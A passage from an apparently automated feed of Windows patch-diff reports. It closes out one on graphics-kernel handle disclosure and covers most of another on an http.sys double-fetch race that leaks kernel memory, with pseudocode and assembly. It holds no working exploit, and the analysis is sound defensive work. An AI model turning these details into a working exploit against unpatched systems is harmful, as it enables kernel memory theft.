&lt;p&gt;No added or removed functions (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). The patch consolidates existing functions by removing feature-staging branches.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the mechanics. The diff clearly shows WIL feature-staging removal: OPM handles migrate from raw kernel pointers to opaque IDs, and swapchain sync-object teardown migrates from a shared lock (no in-destruction marker) to an exclusive lock with a marker.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Corrections from the initial triage:&lt;/strong&gt;
- The affected functions are &lt;strong&gt;OPM (Output Protection Manager)&lt;/strong&gt; and &lt;strong&gt;swapchain&lt;/strong&gt; routines, not "sync object (fence/monitor)" enumeration. The &lt;code&gt;sub_&amp;lt;ADDR&amp;gt;&lt;/code&gt; labels resolve to &lt;code&gt;ADAPTER_DISPLAY::Opm*&lt;/code&gt; and &lt;code&gt;DXGSWAPCHAIN::DestroySurfacesResources*&lt;/code&gt;.
- Finding 1 is &lt;strong&gt;not&lt;/strong&gt; a type confusion or write-what-where. &lt;code&gt;OpmValidateAdapterHandle&lt;/code&gt; is a boolean list-membership validator; the unlink is &lt;code&gt;__fastfail&lt;/code&gt;-guarded. The real issue is kernel-address disclosure via pointer-as-handle.
- In Finding 2 the lock-strength/flag mapping was reversed: flag ON = exclusive (safe), flag OFF = shared (racy).
- &lt;code&gt;FindOpmAdapterMapping&lt;/code&gt; at &lt;code&gt;sub_1c00d7190&lt;/code&gt; (unpatched) and &lt;code&gt;sub_1c00d6190&lt;/code&gt; (patched) is the same function relocated, not a new fixed lookup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt;
- Exploitability depends on the runtime state of the WIL feature-staging flags in the shipped unpatched build; the flag defaulting to the legacy path is what exposes each issue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Manual Verification Required:&lt;/strong&gt;
- Map the exact OPM IOCTL codes and buffer layouts from &lt;code&gt;DpiPdoHandleOpmIoctlsInternal&lt;/code&gt; (&lt;code&gt;sub_1c001cc94&lt;/code&gt;) to the user-mode OPM APIs to confirm the client-reachable path for Finding 1's disclosure, and identify the swapchain-destroy IOCTL that concurrently reaches &lt;code&gt;DestroySurfacesResourcesLocal&lt;/code&gt; for Finding 2.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>http.sys — Double-fetch / TOCTOU on user-supplied trailer source pointer (CWE-367) in UlGenerateTrailers fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_9aaf384a-http-report-20260628-232221.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/http_9aaf384a-http-report-20260628-232221.html</id><summary type="html">&lt;p&gt;KB5077181&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Similarity Score:&lt;/strong&gt; 0.9918&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 3910 matched, 6 changed, 3904 identical, 0 unmatched.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch resolves a high-severity Time-of-Check Time-of-Use (TOCTOU / CWE-367) double-fetch vulnerability in the HTTP Server API kernel driver (&lt;code&gt;http.sys&lt;/code&gt;), where concurrent user-mode threads could race to trick the kernel into copying arbitrary kernel memory into an attacker-readable output buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Double-fetch / TOCTOU (CWE-367)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primary Vulnerable Function:&lt;/strong&gt; &lt;code&gt;UlGenerateTrailers (sub_1400755C0)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Related KIR-gated user-mode pointer changes:&lt;/strong&gt; &lt;code&gt;UxQuicConnectionCopyBindings (sub_1400E1AB4)&lt;/code&gt;, &lt;code&gt;UxQuicConnectionGetPeerIssuerListClient (sub_1400E28A8)&lt;/code&gt;, &lt;code&gt;UxpQuicConnectionCopyCertBlob (sub_1400E9D8C)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause &amp;amp; Exploitability:&lt;/strong&gt;
&lt;code&gt;UlGenerateTrailers&lt;/code&gt; builds the trailer section of an outbound HTTP response from a user-supplied descriptor. The descriptor at &lt;code&gt;a2&lt;/code&gt; holds a count at offset &lt;code&gt;+0x8&lt;/code&gt; and, at offset &lt;code&gt;+0x10&lt;/code&gt;, a pointer to an array of 0x18-byte entries. Each entry carries two length fields (offsets &lt;code&gt;+0x0&lt;/code&gt; and &lt;code&gt;+0x2&lt;/code&gt;) and two data pointers (offsets &lt;code&gt;+0x8&lt;/code&gt; and &lt;code&gt;+0x10&lt;/code&gt;) that point into user-mode memory. The driver validates the entry array once with &lt;code&gt;UlProbeForRead&lt;/code&gt;, then validates each embedded data pointer with &lt;code&gt;UlProbeAnsiString&lt;/code&gt; before copying its bytes with &lt;code&gt;memmove&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the unpatched build, each embedded data pointer is read from user memory twice: once when it is passed to &lt;code&gt;UlProbeAnsiString&lt;/code&gt;, and again when it is passed to &lt;code&gt;memmove&lt;/code&gt;. Between those two reads a second user-mode thread can overwrite the pointer field, swapping the probed user-mode address for a kernel address. The probe passes on the original value while the copy dereferences the swapped value, so &lt;code&gt;memmove&lt;/code&gt; reads from an attacker-chosen kernel address into the response trailer buffer.&lt;/p&gt;
&lt;p&gt;The patched build captures each embedded data pointer once into register &lt;code&gt;r12&lt;/code&gt; and, when the KIR feature flag &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; is enabled, uses that captured value for both the probe and the copy, closing the race window. When the flag is disabled the old re-read path is retained, so the fix is gated on that Known-Issue-Rollback flag (set from a Feature-staging query in &lt;code&gt;UxStartEnvironmentModule&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. A local process using the HTTP Server API submits a response-send request carrying trailer descriptors.
2. The request is dispatched through &lt;code&gt;UlSendEntityBodyIoctl (sub_140098b80)&lt;/code&gt; / &lt;code&gt;UlSendEntityBodyFastIo (sub_14004b3e0)&lt;/code&gt;.
3. Processing flows &lt;code&gt;UlFastSendHttpResponse (sub_1400978b8)&lt;/code&gt; -&amp;gt; &lt;code&gt;UlCaptureHttpResponse (sub_14009ab5c)&lt;/code&gt; -&amp;gt; &lt;code&gt;UlpPrepareHttpResponse (sub_14009b744)&lt;/code&gt;.
4. &lt;code&gt;UlGenerateTrailers (sub_1400755C0)&lt;/code&gt; is called to copy the user-supplied trailer entries. The double-fetch occurs here.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;Below is a conceptual look at the vulnerable code pattern versus the patched code pattern in &lt;code&gt;UlGenerateTrailers (sub_1400755C0)&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED LOGIC (Vulnerable to TOCTOU) ===&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;UlGenerateTrailers&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;USER_ENTRY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;EntryArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;OutBuf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeForRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EntryArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// whole array validated once&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;USER_ENTRY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;EntryArray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// TIME OF CHECK: probe reads entry-&amp;gt;data_ptr from user memory&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// --- RACE WINDOW: attacker overwrites entry-&amp;gt;data_ptr with a kernel address ---&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// TIME OF USE: memmove re-reads entry-&amp;gt;data_ptr from user memory&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OutBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED LOGIC (Single-Capture, KIR-gated) ===&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;UlGenerateTrailers&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;USER_ENTRY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;EntryArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;OutBuf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeForRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EntryArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;USER_ENTRY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;EntryArray&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// SINGLE FETCH: capture the pointer once (register r12)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;captured_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;captured_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Source used for the copy depends on the Known-Issue-Rollback flag:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UxKirHttpReadingTrailersFromUm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured_ptr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// fixed: reuse captured value&lt;/span&gt;
&lt;span class="w"&gt;                                                   &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// rollback: re-read (old behavior)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OutBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;The double-fetch is visible in the unpatched assembly of &lt;code&gt;UlGenerateTrailers (sub_1400755C0)&lt;/code&gt;. The function body is split, with the entry-processing loop placed in a cold chunk beginning at &lt;code&gt;0x14015f402&lt;/code&gt;. The entry array base is evaluated, and the pointers at offsets &lt;code&gt;+0x8&lt;/code&gt; and &lt;code&gt;+0x10&lt;/code&gt; are fetched twice. &lt;code&gt;sub_1400640f0&lt;/code&gt; is &lt;code&gt;UlProbeAnsiString&lt;/code&gt;; &lt;code&gt;sub_14014de80&lt;/code&gt; is &lt;code&gt;memmove&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Unpatched &lt;code&gt;UlGenerateTrailers (sub_1400755C0)&lt;/code&gt; — double-fetch&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;processing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f49a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f4a1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+0x58&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f4a6&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rcx*8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x14015f4af&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

